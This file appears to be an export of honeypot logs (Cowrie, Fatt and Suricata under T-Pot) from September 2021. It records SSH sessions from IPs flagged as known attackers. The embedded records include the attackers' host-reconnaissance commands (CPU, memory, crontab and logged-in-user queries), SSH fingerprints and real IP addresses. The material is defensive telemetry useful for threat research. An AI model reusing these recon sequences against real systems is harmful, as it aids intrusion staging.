33877	5.188.62.196	109.199.241.180	Fatt	2021-09-20 14:57:43.551752+03	2021-09-20 15:00:06.417721+03	{"_id": "PQYRA3wBvYTbRNuEslJC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 47982, "dest_port": 22, "timestamp": "2021-09-20T11:57:43.551752", "@timestamp": "2021-09-20T11:57:43.551Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33880	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:44.117544+03	2021-09-20 15:00:06.420723+03	{"_id": "RwYRA3wBvYTbRNuEs1Lu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "203.176.71.44", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.6286036968231201, "duplicate": true, "timestamp": "2021-09-20T11:57:44.117544Z", "@timestamp": "2021-09-20T11:57:44.117Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33881	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:57:43.551752+03	2021-09-20 15:00:06.422722+03	{"_id": "SwYRA3wBvYTbRNuEtVIe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:57:43.369007+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1310}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 952136120115567, "payload": "AAADvA4U75z+1yOlLS9IXMQLYi0xkwAAAIxjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMQAAAS1zc2gtcnNhLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1kc3MtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1Ni1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHA1MjEtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWVkMjU1MTktY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzLHNzaC1lZDI1NTE5AAAAh2FlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYywzZGVzLWNiYyxhcmNmb3VyLGFyY2ZvdXIxMjgsYXJjZm91cjI1NgAAAIdhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1jYmMsM2Rlcy1jYmMsYXJjZm91cixhcmNmb3VyMTI4LGFyY2ZvdXIyNTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAADJ9JNhWnKaX0FZkWSfV", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47982, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:57:43.551752Z", "@timestamp": "2021-09-20T11:57:43.551Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........#.-/H\\\\..b-1.....curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...-ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96....none....none.............2}$.V....VdY'."}}	1	\N	\N	alert	\N	\N
33882	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:57:44.83696+03	2021-09-20 15:00:06.423723+03	{"_id": "TgYRA3wBvYTbRNuEt1LW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "105ef05babfc", "@version": "1", "duration": 1.3445022106170654, "timestamp": "2021-09-20T11:57:44.836960Z", "@timestamp": "2021-09-20T11:57:44.836Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
33883	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:44.548483+03	2021-09-20 15:00:06.424722+03	{"_id": "UAYRA3wBvYTbRNuEt1LW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:44.548483Z", "@timestamp": "2021-09-20T11:57:44.548Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33884	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:45.635965+03	2021-09-20 15:00:06.425723+03	{"_id": "VAYRA3wBvYTbRNuEu1K-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:45.635965Z", "@timestamp": "2021-09-20T11:57:45.635Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33885	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:46.695309+03	2021-09-20 15:00:06.427722+03	{"_id": "VQYRA3wBvYTbRNuEv1Ko", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:46.695309Z", "@timestamp": "2021-09-20T11:57:46.695Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33886	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:47.776759+03	2021-09-20 15:00:06.428721+03	{"_id": "XAYRA3wBvYTbRNuEw1KR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:47.776759Z", "@timestamp": "2021-09-20T11:57:47.776Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33887	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:47.777308+03	2021-09-20 15:00:06.429722+03	{"_id": "XQYRA3wBvYTbRNuEw1KR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:47.777308Z", "@timestamp": "2021-09-20T11:57:47.777Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33888	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:48.4054+03	2021-09-20 15:00:06.430722+03	{"_id": "XgYRA3wBvYTbRNuEx1J6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 18, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "203.176.71.44", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.6287245750427246, "duplicate": true, "timestamp": "2021-09-20T11:57:48.405400Z", "@timestamp": "2021-09-20T11:57:48.405Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33889	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:48.83245+03	2021-09-20 15:00:06.431722+03	{"_id": "YAYRA3wBvYTbRNuEx1J6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:48.832450Z", "@timestamp": "2021-09-20T11:57:48.832Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33890	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:49.461058+03	2021-09-20 15:00:06.432722+03	{"_id": "YQYRA3wBvYTbRNuEy1Jj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "203.176.71.44", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.6292476654052734, "duplicate": true, "timestamp": "2021-09-20T11:57:49.461058Z", "@timestamp": "2021-09-20T11:57:49.461Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33891	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:50.946409+03	2021-09-20 15:00:06.433721+03	{"_id": "ZgYRA3wBvYTbRNuEz1JM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:50.946409Z", "@timestamp": "2021-09-20T11:57:50.946Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33892	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:50.521332+03	2021-09-20 15:00:06.435723+03	{"_id": "ZQYRA3wBvYTbRNuEz1JM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "203.176.71.44", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.6285505294799805, "duplicate": true, "timestamp": "2021-09-20T11:57:50.521332Z", "@timestamp": "2021-09-20T11:57:50.521Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33893	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:42.007058+03	2021-09-20 15:00:06.437722+03	{"_id": "NgYRA3wBvYTbRNuErFIb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "203.176.71.44", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.6270532608032227, "duplicate": true, "timestamp": "2021-09-20T11:57:42.007058Z", "@timestamp": "2021-09-20T11:57:42.007Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33894	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:43.091969+03	2021-09-20 15:00:06.438723+03	{"_id": "OgYRA3wBvYTbRNuEsFIE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "203.176.71.44", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.6284730434417725, "duplicate": true, "timestamp": "2021-09-20T11:57:43.091969Z", "@timestamp": "2021-09-20T11:57:43.091Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33895	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:43.489584+03	2021-09-20 15:00:06.439723+03	{"_id": "SAYRA3wBvYTbRNuEs1Lu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:43.489584Z", "@timestamp": "2021-09-20T11:57:43.489Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33896	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:57:43.492501+03	2021-09-20 15:00:06.440722+03	{"_id": "RgYRA3wBvYTbRNuEs1Lu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "105ef05babfc", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:57:43.492501Z", "@timestamp": "2021-09-20T11:57:43.492Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
